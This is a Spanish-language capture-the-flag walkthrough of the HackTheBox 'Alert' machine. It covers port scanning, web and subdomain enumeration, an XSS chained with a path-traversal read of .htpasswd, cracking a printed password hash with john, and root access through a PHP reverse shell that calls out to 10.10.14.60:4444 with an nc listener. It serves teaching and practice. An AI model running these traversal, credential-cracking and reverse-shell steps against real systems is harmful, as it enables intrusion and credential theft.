Hacemos un escaneo de puerto de forma rapida haciendo uso de nmap
nmap -p- -v -n -Pn -sS --min-rate 5000 10.10.11.44 -oG allPorts -open
Ahora vamos hacer un analisis de los servicios que estan corriendo en esos puertos ademas de las versiones y ver un poco mas de informacion usando los script mas comunes de nmap
nmap -p22,80 -v -n -Pn -sVC --min-rate 5000 10.10.11.44 -oN Targeted -open
Vamos a enumerar el servicio web, empezando por las tecnologias
Vamos a revisar la web en busca de vectores de ataque, y con la enumarcion vemos que hay un archivo message.php
el cual no sabemos que es
gobuster dir --url http://alert.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,md,zip,tar,bak,txt
Ya que estamos vamos a hacer una enumeracion de subdominios (en este caso para poder enumerar los subdominios, me ha funcionado a traves de la cabezera Host
)
ffuf -ac -u http://alert.htb -H "Host:FUZZ.alert.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
parece que tenemos un login por aqui, despues de intentar fuerza bruta me doy cuanta de que ese no es el camino, y vuelvo a analizar la inyeccion XXS que hemos encontrado, asi como el resto de la web y resulta que en la web de contacto el cuarpo del mensaje hace clic en un enlace que le pongamos tal que asi:
esto significa que ya tenemos todas las piezas del puzzle, vamos a hacer que el propio servidor nos mande el contenido de los .php a ver si vemos algo interesante, debemos hacer uso del xss
ahora este archivo lo subimos y el enlace de share lo pasamos a contact
Genial ahoa en nuestro server debemos ver la peticion con el contenido de la web message.php
lo descodificamos de url
esto significa que podemos acceder a cualquier archivo del servidor y como hemos visto antes hay un vhost corriendo el cual pide credenciales de authenticacion (los cuales en servidores apache y nginx entre otros) estan en una archivo llamado
.htpasswd
este archivo suele estar alojado en la ruta raiz es decir acceder a esta ruta deberia darnos el archivo http://alert.htb/messaage.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd
lo decodificamos
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Boom tenemos credenciales vamos a crakear el hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash
ahora tenemos el control del usuario albert por ssh
Escalada de privilegios
Vemos que hay otro usuario interesante
Al parecer estamos dentro de un grupo interesante
Aqui tenemos unos archivos interesantes
find / -type f -group management -exec ls -l {} \; 2>/dev/null
-rwxrwxr-x 1 root management 49 Dec 27 23:37 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 9286 Dec 27 23:14 /opt/website-monitor/config/shell.php
revisando los servicios que estaban corriendo vemos que hay un puerto abierto que no hemos visto
netstat -lvnp
Vamos a hacer uso de ssh para hacer un portforwarding del puerto 8080 a nuestro puerto 8081 (ya lo tenemos en uso por burpsuite)
ssh -L 8081:localhost:8080 albert@10.10.11.44
Esta web tiene un titulo que me suena de antes
La web al parece esta alojada en esta ruta y nosotros tenemos permisos para el archivo shell.php y configuration.php (que el archivo shell.php esta aqui por que las maquinas de htb con VPN free comparten instancia con otros jugadores)
el archivo que nos interesa es el archivo config ya que aqui vamos a especificar la ruta de nuestro archivo .php con la revershell
<?php exec('/bin/bash -c "bash -i >/dev/tcp/10.10.14.60/4444 0>$1"') ?>
ahora solo resta ponernos en escucha
lwrap -cAr nc -nlvp 4444
y simplemente accedemos al recurso desde la web